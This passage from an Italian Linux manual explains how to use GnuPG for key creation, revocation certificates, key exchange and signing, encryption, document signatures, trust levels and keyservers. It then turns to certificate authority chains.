Ogni volta che c'è bisogno di accedere a questi file, viene creato un file lucchetto, con lo stesso nome del file a cui si riferisce e l'aggiunta dell'estensione '`.lock`'. Alle volte, se si interrompe il funzionamento dell'eseguibile '**`gpg`**', possono rimanere questi file, i quali poi impediscono di accedere ai dati. Se ciò accade, viene segnalato dal programma, il quale indica anche il numero che dovrebbe avere il processo che li ha bloccati: se questo processo non c'è, vuol dire che i file lucchetto possono essere rimossi.

Nelle sezioni successive, viene mostrato il funzionamento di GnuPG, attraverso l'eseguibile '**`gpg`**', mostrando l'interazione con questo quando si fa riferimento a una localizzazione di lingua inglese. Se si utilizza un sistema configurato correttamente per quanto riguarda proprio la localizzazione, si ottengono i messaggi in italiano (quelli che sono stati tradotti), ma in italiano vanno date anche le risposte. In particolare, quando una domanda prevede che si risponda con un «sì», oppure un «no», si devono usare le iniziali, «s» o «n», anche se per qualche motivo la domanda è rimasta in inglese perché manca quella traduzione particolare.

49.2.1 Creazione delle chiavi e del certificato di revoca

La creazione di una coppia di chiavi è un'operazione molto semplice. Quello che occorre considerare prima è il modo in cui viene gestito il file che rappresenta il portachiavi privato, come è già stato descritto. In particolare, occorre considerare subito la possibilità di creare un certificato di revoca.

Si comincia con la creazione di una coppia di chiavi, utilizzando il comando '**`--gen-key`**'. Se non sono stati creati in precedenza, viene predisposta la directory '`~/.gnupg/`' con i vari portachiavi.

```
tizio$ gpg --gen-key [Invio]
```

```
  Please select what kind of key you want:
     (1) DSA and ElGamal (default)
     (2) DSA (sign only)
     (4) ElGamal (sign and encrypt)
```

A questo punto inizia una serie di richieste con le quali si devono stabilire le caratteristiche delle chiavi che si creano. Per vari motivi, è conveniente affidarsi alle scelte predefinite, a meno di avere le idee chiare al riguardo.

```
Your selection? 1 [Invio]
```

```
  DSA keypair will have 1024 bits.
  About to generate a new ELG-E keypair.
                minimum keysize is  768 bits
                default keysize is 1024 bits
      highest suggested keysize is 2048 bits
```

```
What keysize do you want?  (1024) [Invio]
```

```
  Please specify how long the key should be valid.
           0 = key does not expire
        <n>  = key expires in n days
        <n>w = key expires in n weeks
        <n>m = key expires in n months
        <n>y = key expires in n years
```

Questo può essere un punto delicato. Di solito si crea una coppia di chiavi che non scadono mai, ma per motivi di sicurezza si potrebbe stabilire una scadenza. Ribadendo che in condizioni normali si crea una coppia di chiavi senza scadenza, negli esempi si mostra la creazione di una chiave che scade alla fine di una settimana.

Key is valid for? (0) **1w**[*Invio*]

```
  Key expires at Fri Oct  8 10:55:43 1999 CEST
```

Is this correct (y/n)? **y**[*Invio*]

Per completare questa fase occorre indicare i dati personali che vengono uniti alle chiavi, in modo da facilitarne il riconoscimento.

```
  You need a User-ID to identify your key; the software constructs the
  user id from Real Name, Comment and Email Address in this form:
      "Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"
```

Come si vede, si tratta di indicare il proprio nome e cognome, quindi viene richiesto un indirizzo di posta elettronica, infine viene proposta la possibilità di mettere una nota, costituita da un nomignolo o qualunque altra cosa che possa aiutare a individuare il proprietario della chiave.

Real name: **Tizio Tizi**[*Invio*]

Email address: **tizio@dinkel.brot.dg**[*Invio*]

Comment: **Baffo**[*Invio*]

```
  You selected this USER-ID:
      "Tizio Tizi (Baffo) <tizio@dinkel.brot.dg>"
```

Il programma mostra i dati inseriti, permettendo di controllarli. Se tutto è in ordine, si conferma.

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? **O**[*Invio*]

Infine, la cosa più importante: per proteggere la chiave privata, questa viene cifrata utilizzando una parola d'ordine, definita in questo caso *passphrase*, per intendere che si dovrebbe trattare di un testo più lungo di una sola parola. In pratica, si deve inserire una stringa, possibilmente lunga e complicata, che serve per cifrare la chiave privata; di conseguenza, ogni volta che si deve utilizzare la chiave privata, viene richiesto l'inserimento di questa stringa per potervi accedere.

```
You need a Passphrase to protect your secret key.
```

`Enter passphrase:` ***digitazione_all'oscuro*** [*Invio*]

`Repeat passphrase:` ***digitazione_all'oscuro*** [*Invio*]

Completata questa fase, inizia la procedura di creazione delle chiavi, che avviene in modo automatico.

```
We need to generate a lot of random bytes. It is a good idea to
perform some other action (work in another window, move the mouse,
utilize the network and the disks) during the prime generation; this
gives the random number generator a better chance to gain enough
entropy.
....+++++..............+++++..+++++.+++++.............+++++......+++++
..++++++++++........+++++..+++++........++++++++++....................
............+++++.+++++.+++++....+++++........+++++...+++++........+++
+++++++..+++++++++++++++.+++++......+++++.+++++>......+++++>.........+
++++.<.+++++............>.........+++++....<+++++...>.....+++++<..++++
+................................+++++^^^
public and secret key created and signed.
```

Questo conclude il funzionamento del programma e riappare l'invito della shell. Leggendo il messaggio finale, si osserva che le chiavi sono state firmate. Questa firma garantisce solo che non siano alterate le informazioni abbinate alle chiavi, ma come è già spiegato nella sezione 49.1, ciò non impedisce che qualcuno possa sostituire completamente le chiavi pubbliche che vengono diffuse.

Una volta creata la propria coppia di chiavi, è importantissimo provvedere a generare anche il certificato di revoca relativo. Questo si traduce in un file di testo da conservare in un posto sicuro. Eventualmente, si può anche stampare il file, per una maggiore sicurezza.

`tizio$` **`gpg --output revoca.txt --gen-revoke tizio@dinkel.brot.dg`** [*Invio*]

```
sec  1024D/7A6D2F72 1999-10-01   Tizio Tizi (Baffo) <tizio@dinkel.brot.dg>
```

Come si vede, vengono mostrati tutti i dati identificativi della chiave, compreso il numero che è stato generato automaticamente. Per proseguire basta confermare.

`Create a revocation certificate for this key?` **`y`** [*Invio*]

Dal momento che questa operazione richiede l'utilizzo della chiave privata, occorre indicare la stringa necessaria per sbloccarla.

```
You need a passphrase to unlock the secret key for
user: "Tizio Tizi (Baffo) <tizio@dinkel.brot.dg>"
1024-bit DSA key, ID 7A6D2F72, created 1999-10-01
```

`Enter passphrase:` ***digitazione_all'oscuro*** [*Invio*]

```
ASCII armored output forced.
Revocation certificate created.

Please move it to a medium which you can hide away; if Mallory gets
access to this certificate he can use it to make your key unusable.
It is smart to print this certificate and store it away, just in case
your media become unreadable.  But have some caution:  The print
system of your machine might store the data and make it available to
others!
```

E con questo si conclude l'operazione che ha generato il file '`revoca.txt`'. Il file è di tipo ASCII, ovvero, da binario è stato convertito in ASCII attraverso l'algoritmo Armor. Vale la pena di vedere come potrebbe essere questo file:

```
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v0.9.3 (GNU/Linux)
Comment: For info see http://www.gnupg.org
Comment: A revocation certificate should follow

iEYEIBECAAYFAjf0gEIACgkQZUnKKXptL3KOAQCdEH5HfbFR5g34fui5y0JMkQxr
PisAn2kHENgFOLtkdDIpK1PwYp9ZArbK
=HGaY
-----END PGP PUBLIC KEY BLOCK-----
```

49.2.2 Scambio di chiavi pubbliche

Quando si vuole intrattenere una comunicazione cifrata con qualcuno, si deve disporre della chiave pubblica dell'interlocutore, il quale a sua volta deve disporre di quella della controparte. Di conseguenza, è necessario apprendere subito come si accede al proprio portachiavi, in modo da poter estrarre le chiavi pubbliche (proprie o di altri) e per potervi aggiungere le chiavi delle persone con cui si vogliono avere contatti in questa forma. Inizialmente, le chiavi pubbliche a disposizione sono solo le proprie; se ne ottiene l'elenco con il comando seguente:

tizio$ **`gpg --list-keys`** [*Invio*]

```
/home/tizio/.gnupg/pubring.gpg
------------------------------------------
pub  1024D/7A6D2F72 1999-10-01 Tizio Tizi (Baffo) <tizio@dinkel.brot.dg>
sub  1024g/D75594A6 1999-10-01
```

Anche se non è stato richiesto esplicitamente, nella creazione della coppia di chiavi complementari, in realtà sono state generate due coppie: una primaria e una secondaria. Si può osservare che la prima colonna suggerisce di che tipo di chiave si tratti: '**`pub`**' per indicare la chiave pubblica primaria e '**`sub`**' per indicare la chiave pubblica secondaria.

A questo punto si pone il problema di esportare la propria chiave pubblica (intesa come il complesso rappresentato dalla chiave primaria e da tutte le sue chiavi secondarie) e di importare quella degli interlocutori futuri. In particolare, nel momento in cui si esporta una chiave, occorre decidere se questo debba essere fatto generando un risultato binario, oppure

se lo si voglia convertire in ASCII. In generale, dovendo preparare un file da trasmettere attraverso forme di comunicazione tradizionale, come la posta elettronica, conviene richiedere sempre la conversione in ASCII, per mezzo dell'opzione '**--armor**'. Si comincia mostrando l'esportazione.

tizio$ **gpg --armor --output tizio.gpg --export tizio@dinkel.brot.dg** [*Invio*]

Il file che si ottiene, 'tizio.gpg', potrebbe essere simile a quello seguente (che viene mostrato solo in parte):

```
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v0.9.3 (GNU/Linux)
Comment: For info see http://www.gnupg.org

mQGiBDf0ehMRBAC+s8Evv4EXv1eEGDw01mZAwJCPe9uBbE/u9eNlD8J33MCXFRUK
k/4CFU6BRK46RlXFjL9CcWtRIDar/72NIktChpBFebYnX+wiho9Pt2/U7B32MbMX
…
…
vO+Y8kqiOfAHDrL90IhMBBgRAgAMBQI39HpKBQkACTqAAAoJEGVJyil6bS9y0ywA
n3OySw4T4rHtGtE2hULTwj9orwefAKCB3ozbH0x/I9jFrCGe6gx7Fio9FA==
=jTTe
-----END PGP PUBLIC KEY BLOCK-----
```

L'importazione di una chiave pubblica avviene in modo analogo, con la differenza che non è necessario specificare in che formato sia la fonte: ciò viene determinato automaticamente. Si suppone di importare una chiave contenuta nel file 'caio.gpg'.

tizio$ **gpg --import caio.gpg** [*Invio*]

```
gpg:/home/tizio/caio.gpg: key C38563D0: public key imported
gpg: Total number processed: 1
gpg:               imported: 1
```

Dopo l'importazione si può controllare l'elenco delle chiavi pubbliche possedute, come è già stato fatto in precedenza.

tizio$ **gpg --list-keys** [*Invio*]

```
/home/tizio/.gnupg/pubring.gpg
------------------------------------------
pub  1024D/7A6D2F72 1999-10-01 Tizio Tizi (Baffo) <tizio@dinkel.brot.dg>
sub  1024g/D75594A6 1999-10-01

pub  1024D/C38563D0 1999-10-01 Caio Cai <caio@roggen.brot.dg>
sub  1024g/E3460DB4 1999-10-01
```

È da osservare il fatto che l'esportazione delle chiavi pubbliche, senza indicare a quali persone si vuole fare riferimento, implica l'esportazione completa di tutte le chiavi disponibili.

A questo punto, occorre stabilire se ci si fida o meno delle chiavi pubbliche che si importano. Se si è certi della loro autenticità, è utile controfirmarle. La firma che si aggiunge può servire a qualcun altro, se poi si provvede a diffonderle nuovamente. Per intervenire a questo livello nel portachiavi pubblico, occorre usare il comando '**--edit-key**':

tizio$ **gpg --edit-key caio@roggen.brot.dg** [*Invio*]

Con questo comando si richiede di intervenire nella chiave pubblica di Caio. Si ottiene un riassunto della situazione e un invito a inserire dei comandi specifici (attraverso una riga di comando).

```
pub  1024D/C38563D0  created: 1999-10-01 expires: 1999-10-08 trust: -/q
sub  1024g/E3460DB4  created: 1999-10-01 expires: 1999-10-08
(1)  Caio Cai <caio@roggen.brot.dg>
```

Una chiave potrebbe contenere più informazioni riferite all'identità del suo proprietario. Anche se si tratta sempre della stessa persona, questa potrebbe utilizzare diversi indirizzi di posta elettronica e diverse variazioni nel nome (per esempio per la presenza o meno del titolo o di un nomignolo). Nel caso mostrato dall'esempio, si tratta di un nominativo soltanto, a cui è abbinato il numero uno.

Tanto per cominciare, si può controllare lo stato di questa chiave con il comando '**check**':

Command> **check** [*Invio*]

```
uid  Caio Cai <caio@roggen.brot.dg>
sig!       C38563D0 1999-10-01   [self-signature]
```

Si può osservare che dispone soltanto della firma del suo stesso proprietario, cosa che non può garantirne l'autenticità. Di solito, per verificare l'origine di una chiave pubblica si sfrutta la sua impronta digitale, ovvero un codice più breve che viene generato univocamente attraverso una funzione apposita:

Command> **fpr** [*Invio*]

Con il comando '**fpr**' si ottiene proprio questa informazione. Se il proprietario di questa chiave ci ha fornito l'impronta digitale attraverso un canale sicuro (di solito ciò significa che c'è stato un incontro personale), si può controllare a vista la sua corrispondenza.

```
pub  1024D/C38563D0 1999-10-01 Caio Cai <caio@roggen.brot.dg>
        Fingerprint: 8153 E6E4 DE1F 6B62 2847  0B5D 9643 B918 C385 63D0
```

Se l'impronta corrisponde e si è finalmente certi dell'autenticità di questa chiave, la si può firmare, certificando a proprio nome che si tratta di una chiave autentica.

Command> **sign** [*Invio*]

```
pub  1024D/C38563D0  created: 1999-10-01 expires: 1999-10-08 trust: -/q
        Fingerprint: 8153 E6E4 DE1F 6B62 2847  0B5D 9643 B918 C385 63D0

     Caio Cai <caio@roggen.brot.dg>

Are you really sure that you want to sign this key
with your key: "Tizio Tizi (Baffo) <tizio@dinkel.brot.dg>"
```

`Really sign?` **`y`** [*Invio*]

Dal momento che per farlo occorre utilizzare la propria chiave privata, ecco che viene richiesto di inserire la stringa necessaria per sbloccarla.

```
You need a passphrase to unlock the secret key for
user: "Tizio Tizi (Baffo) <tizio@dinkel.brot.dg>"
1024-bit DSA key, ID 7A6D2F72, created 1999-10-01
```

`Enter passphrase:` ***digitazione_all'oscuro*** [*Invio*]

A questo punto si può verificare nuovamente lo stato della chiave:

`Command>` **`check`** [*Invio*]

```
uid  Caio Cai <caio@roggen.brot.dg>
sig!       C38563D0 1999-10-01   [self-signature]
sig!       7A6D2F72 1999-10-01   Tizio Tizi (Baffo) <tizio@dinkel.brot.dg
```

Come si vede, adesso c'è anche la firma di Tizio. Per concludere questo funzionamento interattivo, si utilizza il comando '**`quit`**', ma prima si salvano le modifiche con '**`save`**':

`Command>` **`save`** [*Invio*]

`Command>` **`quit`** [*Invio*]

49.2.3 Utilizzo della crittografia

Quando si dispone della chiave pubblica del proprio interlocutore, è possibile cifrare i dati che gli si vogliono mandare. In generale, si lavora su un file alla volta, o eventualmente su un archivio compresso contenente più file. Supponendo di volere inviare il file '`documento.txt`' a Caio, si potrebbe preparare una versione cifrata di questo file con il comando seguente:

`tizio$` **`gpg --output documento.txt.gpg --encrypt`** ↩
↪ **`--recipient caio@roggen.brot.dg documento.txt`** [*Invio*]

In questo modo si ottiene il file '`documento.txt.gpg`'. Se questo file viene spedito attraverso la posta elettronica, allegandolo a un messaggio, di solito, il programma che si usa si arrangia a convertirlo in un formato adatto a questa trasmissione; diversamente, può essere conveniente la conversione in formato Armor. Nell'esempio seguente si fa tutto in un colpo solo: si cifra il messaggio e lo si spedisce a Caio (si osservi il trasferimento del messaggio cifrato attraverso lo standard output.)

```
tizio$ gpg --armor --output - --encrypt --recipient ↩
↪         caio@roggen.brot.dg documento.txt ↩
↪      | mail caio@roggen.brot.dg [Invio]
```

Eventualmente si può specificare in modo esplicito l'algoritmo da usare per cifrare. Si ottiene questo con l'opzione '**--cipher-algo**', ma prima occorre conoscere gli algoritmi a disposizione:

```
tizio$ gpg --version [Invio]
```

```
Home: ~/.gnupg
Supported algorithms:
Cipher: 3DES, CAST5, BLOWFISH, RIJNDAEL, RIJNDAEL192, RIJNDAEL256, TWOFISH
Pubkey: RSA, RSA-E, RSA-S, ELG-E, DSA, ELG
Hash: MD5, SHA1, RIPEMD160
```

Si possono usare i nomi elencati per la cifratura; per esempio, volendo usare l'algoritmo 3DES:

```
tizio$ gpg --output documento.txt.gpg --encrypt ↩
↪         --cipher-algo 3DES --recipient caio@roggen.brot.dg ↩
↪         documento.txt [Invio]
```

Per decifrare un documento si agisce in modo simile, utilizzando l'opzione '**--decrypt**'. A differenza dell'operazione di cifratura, dovendo usare la chiave privata, viene richiesta l'indicazione della stringa necessaria per sbloccarla. L'esempio che segue, mostra il caso in cui si voglia decifrare il contenuto del file 'messaggio.gpg', generando il file 'messaggio':

```
tizio$ gpg --output messaggio --decrypt messaggio.gpg [Invio]
```

```
You need a passphrase to unlock the secret key for
user: "Tizio Tizi (Baffo) <tizio@dinkel.brot.dg>"
1024-bit DSA key, ID 7A6D2F72, created 1999-10-01
```

Enter passphrase: ***digitazione_all'oscuro*** [*Invio*]

Per finire, è il caso di considerare anche la possibilità di usare un sistema di crittografia simmetrica (a chiave segreta), dove non viene presa in considerazione la gestione delle chiavi pubbliche o private che siano. In pratica, tutto si riduce a definire la chiave da usare per la cifratura, chiave che deve essere conosciuta anche dalla controparte per poter decifrare il messaggio.

```
tizio$ gpg --armor --output testo.gpg --symmetric testo [Invio]
```

L'esempio mostra il caso del file 'testo' che viene cifrato generando il file 'testo.gpg', in formato ASCII Armor. Per completare l'operazione, occorre fornire la stringa da usare come chiave per la cifratura; per ridurre la possibilità di errori, ciò viene richiesto per due volte:

Enter passphrase: ***digitazione_all'oscuro*** [*Invio*]

Repeat passphrase: ***digitazione_all'oscuro*** [*Invio*]

Per decifrare questo file, non occorrono comandi speciali, basta l'opzione '**--decrypt**'. GnuPG si accorge da solo che si tratta di una cifratura simmetrica, provvedendo a chiedere l'indicazione della stringa necessaria a decifrarla.

49.2.4 Firma di documenti

La firma elettronica (o digitale) serve a certificare l'autenticità e la data di un file. Se il file in questione viene modificato in qualche modo, la verifica della firma fallisce. La firma viene generata utilizzando la chiave privata e di conseguenza può essere verificata utilizzando la chiave pubblica; il controllo ha valore solo se si può dimostrare l'autenticità della chiave pubblica. In generale, la firma viene allegata allo stesso file, che di solito viene cifrato, sempre usando la chiave privata.

tizio$ **gpg --armor --output documento.firmato --sign documento** [*Invio*]

L'esempio mostra in che modo si può firmare il file '`documento`', generando '`documento.firmato`' (in particolare si vuole ottenere un file ASCII per facilitarne la trasmissione).

```
You need a passphrase to unlock the secret key for
user: "Tizio Tizi (Baffo) <tizio@dinkel.brot.dg>"
1024-bit DSA key, ID 7A6D2F72, created 1999-10-01
```

Dal momento che si deve usare la chiave privata per ottenere la firma e anche per cifrare il testo, viene richiesto di inserire la stringa necessaria per sbloccarla.

Enter passphrase: ***digitazione_all'oscuro*** [*Invio*]

Un documento firmato si controlla semplicemente con l'opzione '**`--verify`**', come nell'esempio seguente:

tizio$ **gpg --verify documento.firmato** [*Invio*]

```
gpg: Signature made Fri Oct  1 15:56:15 1999 CEST using DSA key ID 7A6D2F72
gpg: Good signature from "Tizio Tizi (Baffo) <tizio@dinkel.brot.dg>"
```

Dal momento che il documento, così come si trova non è leggibile, occorre richiedere di decifrarlo, cosa che implica anche la verifica della firma:

tizio$ **gpg --output documento --decrypt documento.firmato** [*Invio*]

In questo caso si ottengono le stesse informazioni di prima, ma in più si ha di nuovo il file '`documento`' originale.

```
gpg: Signature made Fri Oct  1 15:56:15 1999 CEST using DSA key ID 7A6D2F72
gpg: Good signature from "Tizio Tizi (Baffo) <tizio@dinkel.brot.dg>"
```

Dal momento che lo scopo della firma non è quello di nascondere il contenuto del file originale, specialmente se si tratta di un file di testo, si può richiedere esplicitamente di firmare un file in chiaro. In pratica, si ottiene il file di partenza, con l'aggiunta della firma. Per questo si usa il comando '**`--clearsign`**' al posto di '**`--sign`**':

tizio$ **gpg --output documento.firmato --clearsign documento** [*Invio*]

Tutto il resto funziona come prima. L'aspetto di un file del genere è simile a quello seguente:

```
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

…
…
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v0.9.3 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE39L/LrL80KSMdTVQRAgUfAJ9tVPiBLuJNpElEF9fpoUO27odWMQCfc8e7
3c6ARR8UGBAO7TIhVlDn7fE=
=amzF
-----END PGP SIGNATURE-----
```

Infine, se può essere opportuno per qualche motivo, la firma si può tenere staccata dal file originale. In questo caso, si utilizza il comando '**--detach-sig**':

tizio$ **gpg --armor --output firma --detach-sig documento** [*Invio*]

In questo modo si crea la firma del file '`documento`', inserendola separatamente nel file '`firma`', richiedendo espressamente di utilizzare la codifica ASCII Armor. Per verificare la firma, occorre indicare i due nomi:

tizio$ **gpg --verify firma documento** [*Invio*]

49.2.5 Gestione della fiducia

GnuPG permette di annotare il livello di fiducia che si ha nei confronti della certificazione da parte di altre persone. Una volta definiti questi valori, si può automatizzare il calcolo della credibilità di una chiave pubblica della quale si è venuti in possesso. In pratica, se ci si fida ciecamente del giudizio di Sempronio, è ragionevole accettare come valide tutte le chiavi pubbliche controfirmate da lui. Per accedere a queste funzioni, si utilizza il solito comando '**--edit-key**'; quindi, nell'ambito del funzionamento interattivo che si ottiene, si utilizza il comando '**trust**'.

$ **gpg --edit-key caio@roggen.brot.dg** [*Invio*]

```
pub  1024D/C38563D0  created: 1999-10-01 expires: 1999-10-08 trust: -/q
sub  1024g/E3460DB4  created: 1999-10-01 expires: 1999-10-08
(1)  Caio Cai <caio@roggen.brot.dg>
```

Dopo aver ottenuto la situazione della chiave pubblica di Caio e delle sue sottochiavi, si può richiedere di passare alla gestione della fiducia nei suoi confronti.

Command> **trust** [*Invio*]

```
pub  1024D/C38563D0  created: 1999-10-01 expires: 1999-10-08 trust: -/q
sub  1024g/E3460DB4  created: 1999-10-01 expires: 1999-10-08
(1)  Caio Cai <caio@roggen.brot.dg>

Please decide how far you trust this user to correctly
verify other users' keys (by looking at passports,
checking fingerprints from different sources...)?

 1 = Don't know
 2 = I do NOT trust
 3 = I trust marginally
 4 = I trust fully
 s = please show me more information
 m = back to the main menu
```

In breve: il valore uno corrisponde a un livello indefinibile; due fa riferimento a una persona inaffidabile; tre rappresenta una fiducia parziale; quattro è una fiducia completa. Viene mostrato il caso in cui si indica una fiducia parziale.

```
Your decision? 3 [Invio]
```

```
pub  1024D/C38563D0  created: 1999-10-01 expires: 1999-10-08 trust: m/q
sub  1024g/E3460DB4  created: 1999-10-01 expires: 1999-10-08
(1)  Caio Cai <caio@roggen.brot.dg>
```

```
Command> quit [Invio]
```

A questo punto è importante definire il significato delle lettere che appaiono sulla destra, nel campo '**`trust:`**'. Come si vede dagli esempi, si tratta di due lettere staccate da un barra obliqua: la prima lettera definisce il grado di fiducia nei confronti della persona; la seconda definisce la fiducia sull'autenticità della sua chiave pubblica. Infatti, la fiducia nei confronti di una firma, è condizionata dal fatto che la chiave pubblica che si dispone per il controllo sia effettivamente quella giusta (e non una contraffazione). La tabella 49.38 mostra l'elenco di queste lettere, assieme alla descrizione del loro significato.

Tabella 49.38. Elenco degli indicatori utilizzati per definire i livelli di fiducia.

Lettera	Significato
`-`	Fiducia indefinita nei confronti della persona.
`e`	Calcolo della fiducia fallito.
`q`	Informazioni insufficienti per il calcolo della fiducia.
`n`	Non viene attribuita alcuna fiducia alla chiave.
`m`	Fiducia parziale nei confronti della persona.
`f`	Fiducia totale nei confronti della persona.
`u`	Certezza assoluta dell'autenticità della chiave.

Una volta stabilito il livello di fiducia nei confronti delle persone e delle loro chiavi pubbliche, si può stabilire in che modo le altre chiavi controfirmate da questi possono essere acquisite nel proprio portachiavi. In generale, salvo la modifica della configurazione predefinita, valgono le regole seguenti:

- una chiave firmata personalmente è valida a tutti gli effetti;
- una chiave firmata da una persona fidata è trattata come autentica se la sua stessa chiave pubblica è ritenuta sicura;
- una chiave firmata da almeno tre persone di cui ci si fida in parte è trattata come autentica se le loro stesse chiavi pubbliche sono ritenute sicure.

Oltre a questo elenco si deve considerare anche il «percorso di fiducia». Forse si comprende meglio il problema pensando per analogia alle girate di un titolo di credito trasferibile: la prima girata è quella della persona a cui è destinato il titolo, mentre le girate successive sono quelle di persone che si sono passate di mano il titolo. Se Sempronio è l'ultimo di questi e ci si fida di lui, mentre degli altri non si sa nulla, diventa difficile accettare un titolo del genere quando l'elenco delle girate comincia a diventare lungo. Ecco quindi il senso di questo percorso di fiducia che rappresenta il numero di persone attraverso le quali la chiave pubblica giunge al nostro portachiavi. In generale, per poter accettare come valida una chiave, è necessario anche che il percorso di fiducia sia minore o al massimo uguale a cinque passaggi.

49.2.6 Accesso a un servente di chiavi

Prima di accedere a un servente di chiavi, occorre determinare quale possa essere quello più comodo rispetto alla propria posizione nella rete. Supponendo di avere scelto il nodo `www.it.pgp.net`, ammesso che si tratti effettivamente di un servente di chiavi, si può utilizzare lo stesso GnuPG per prelevare le chiavi pubbliche a cui si è interessati, purché se ne conosca il numero di identificazione:

$ **gpg --keyserver www.it.pgp.net --recv-key 0x0C9857A5** [*Invio*]

```
gpg: requesting key 0C9857A5 from www.it.pgp.net ...
gpg: key 0C9857A5: 1 new signature

gpg: Total number processed: 1
gpg:          new signatures: 1
```

Per l'invio della propria chiave pubblica, si agisce in modo simile:

$ **gpg --keyserver www.it.pgp.net --send-key tizio@dinkel.brot.dg** [*Invio*]

```
gpg: success sending to 'www.it.pgp.net' (status 200)
```

Se per qualche motivo i serventi di chiavi locali non consentono l'accesso, si può sempre riparare presso `certserver.pgp.com`.

49.2.7 Gnome PGP

Gnome PGP, ovvero GPGP,[6] è un programma frontale, grafico, per semplificare l'uso di GnuPG. Prima di usare Gnome PGP occorre predisporre almeno la propria coppia di chiavi con GnuPG; poi, con Gnome PGP si possono gestire i portachiavi e si possono eseguire più comodamente le operazioni di cifratura, decifratura, firma e verifica delle firme. Gnome PGP si avvia semplicemente con l'eseguibile '**gpgp**', senza bisogno di fornire argomenti:

```
gpgp
```

Se è già stato usato il programma GnuPG per creare la propria coppia di chiavi, l'aspetto iniziale di Gnome PGP è simile a quello della figura successiva.

Figura 49.41. Aspetto di Gnome PGP all'avvio.

Come si può vedere dalla figura, appaiono i lembi delle schede associate al portachiavi privato ('`secring.gpg`') e al portachiavi pubblico ('`pubring.gpg`'). I portachiavi sono stati letti automaticamente dai file previsti normalmente per queste funzioni, secondo l'organizzazione di GnuPG: '`~/.gnupg/secring.gpg`' e '`~/.gnupg/pubring.gpg`'. Selezionando l'etichetta *pubring.gpg* si possono gestire le chiavi pubbliche; nella figura successiva si vede che appaiono dei pulsanti grafici, in particolare per aggiungere chiavi da altri file ed esportarle.

Figura 49.42. Aspetto di Gnome PGP durante la gestione delle chiavi pubbliche.

Per cifrare o per firmare, si comincia selezionando il pulsante grafico SIGN/ENCRYPT, mentre per decifrare o per verificare una firma si usa DECRYPT/CHECK.

49.3 Autorità di certificazione e certificati

Il «certificato» è un file contenente alcuni dati identificativi di una persona, in un contesto determinato, abbinati alla chiave pubblica della stessa, firmato da una o più autorità di certificazione. In pratica le firme di queste autorità servono a garantire la veridicità dei dati, confermando che la chiave pubblica abbinata appartiene effettivamente alla persona indicata. Volendo vedere le cose da un altro punto di vista, la chiave pubblica che è stata controfirmata da altre persone, è un certificato della veridicità della chiave pubblica stessa, il quale è tanto più valido, quanto più credibili sono le persone che hanno aggiunto la loro firma.

Dal momento che la crittografia a chiave pubblica serve per cifrare, ma soprattutto per firmare i documenti in forma elettronica, si tratta di uno strumento strettamente **personale**. Per questa ragione, un certificato dovrebbe essere sempre riferito a una persona particolare, anche se questa lo deve utilizzare nell'ambito del proprio lavoro, per lo svolgimento dei suoi incarichi.

Nel momento in cui la crittografia a chiave pubblica viene usata professionalmente, come nel caso del commercio elettronico, è indispensabile la presenza delle autorità di certificazione, ovvero di enti (privati o pubblici) specializzati nella certificazione. Ogni autorità di certificazione stabilisce e impone la propria procedura per fornire la propria certificazione; questo significa che ogni autorità definisce il proprio ambito di competenza, quali tipi di certificazione elettronica è in grado di fornire (si fa riferimento al formato del certificato elettronico) e quali siano le informazioni che devono essere fornite in modo preciso. È poi compito dell'autorità la verifica della veridicità di tali informazioni.

49.3.1 Catena di certificazione

La certificazione da parte di queste autorità, ovvero la loro firma sui certificati elettronici, vale solo se questa è verificabile, per cui è necessario disporre della chiave pubblica di tali autorità. Anche la chiave pubblica di un'autorità di certificazione viene diffusa attraverso un certificato.

Un'autorità di certificazione potrebbe funzionare in modo autonomo, oppure potrebbe appartenere a una struttura più o meno articolata. Infatti, ci potrebbe essere la necessità di suddividere il carico di lavoro in più organizzazioni. La figura 49.43 mostra una struttura gerarchica ad albero, dove si parte da un'autorità principale che si autocertifica, demandando e organizzando il compito di certificazione a strutture inferiori, firmando il loro certificato (con la propria chiave privata). Queste autorità inferiori possono avere a loro volta la responsabilità sulla certificazione di altre autorità di livello ancora inferiore, ecc.

Figura 49.43. Gerarchia tra più autorità di certificazione.

autorità di certificazione principale (root)

autorità subordinata Alfa

autorità subordinata Beta

autorità subordinata Gamma

autorità subordinata Bianco

autorità subordinata Nero

...

La presenza di una scomposizione gerarchica tra le autorità di certificazione, più o meno articolata, genera una ***catena di certificati***, ovvero un «percorso di fiducia». Di fronte a questa situazione, sarebbe bene che il tipo di certificato elettronico che si utilizza permettesse di annotare questa catena, in maniera tale che sia possibile il recupero dei certificati mancanti. In pratica, chi ottiene un certificato di Tizio, firmato dall'autorità Bianco, per verificare l'autenticità del certificato di questo signore, deve disporre della chiave pubblica di quell'autorità, o in altri termini, deve avere il certificato dell'autorità stessa (che contiene anche la sua chiave pubblica); altrimenti non potrebbe verificare la firma di questa autorità. Tuttavia, se nel certificato di Tizio è annotato che l'autorità Beta è garante per l'autorità Bianco e inoltre è annotato in che modo procurarsi il certificato di Bianco rilasciato da Beta, se si dispone già del certificato dell'autorità Beta, dopo che è stato prelevato il certificato di Bianco, questo lo si può controllare attraverso quello di Beta. I passaggi si possono rivedere descritti nell'elenco seguente:

- Tizio si presenta con il proprio certificato, contenente la firma di garanzia dell'autorità Bianco;
- l'autorità Bianco è sconosciuta, di conseguenza non si dispone del suo certificato, dal quale sarebbe necessario estrarre la chiave pubblica per verificarne la firma sul certificato di Tizio;
- nel certificato di Tizio c'è scritto in che modo ottenere il certificato dell'autorità Bianco, il quale viene così prelevato attraverso la rete;
- nel certificato di Tizio c'è scritto che l'autorità Bianco è garantita dall'autorità Beta, della quale, per fortuna, si dispone del certificato;
- con la chiave pubblica di Beta si verifica la firma nel certificato di Bianco;
- disponendo del certificato di Bianco e avendo verificato la sua autenticità, si può verificare l'autenticità del certificato di Tizio.

Se non si disponesse del certificato di Beta occorrerebbe ripetere la ricerca per l'autorità garante superiore, nel modo già visto.

49.3.2 Numero di serie, scadenza e revoca dei certificati

Un certificato non può essere valido per sempre, così come accade con un documento di riconoscimento: una carta di identità o un passaporto. Un'informazione fondamentale che deve avere un certificato elettronico è la scadenza; questa è sempre l'informazione che viene controllata per prima, chiunque sia il titolare del certificato.

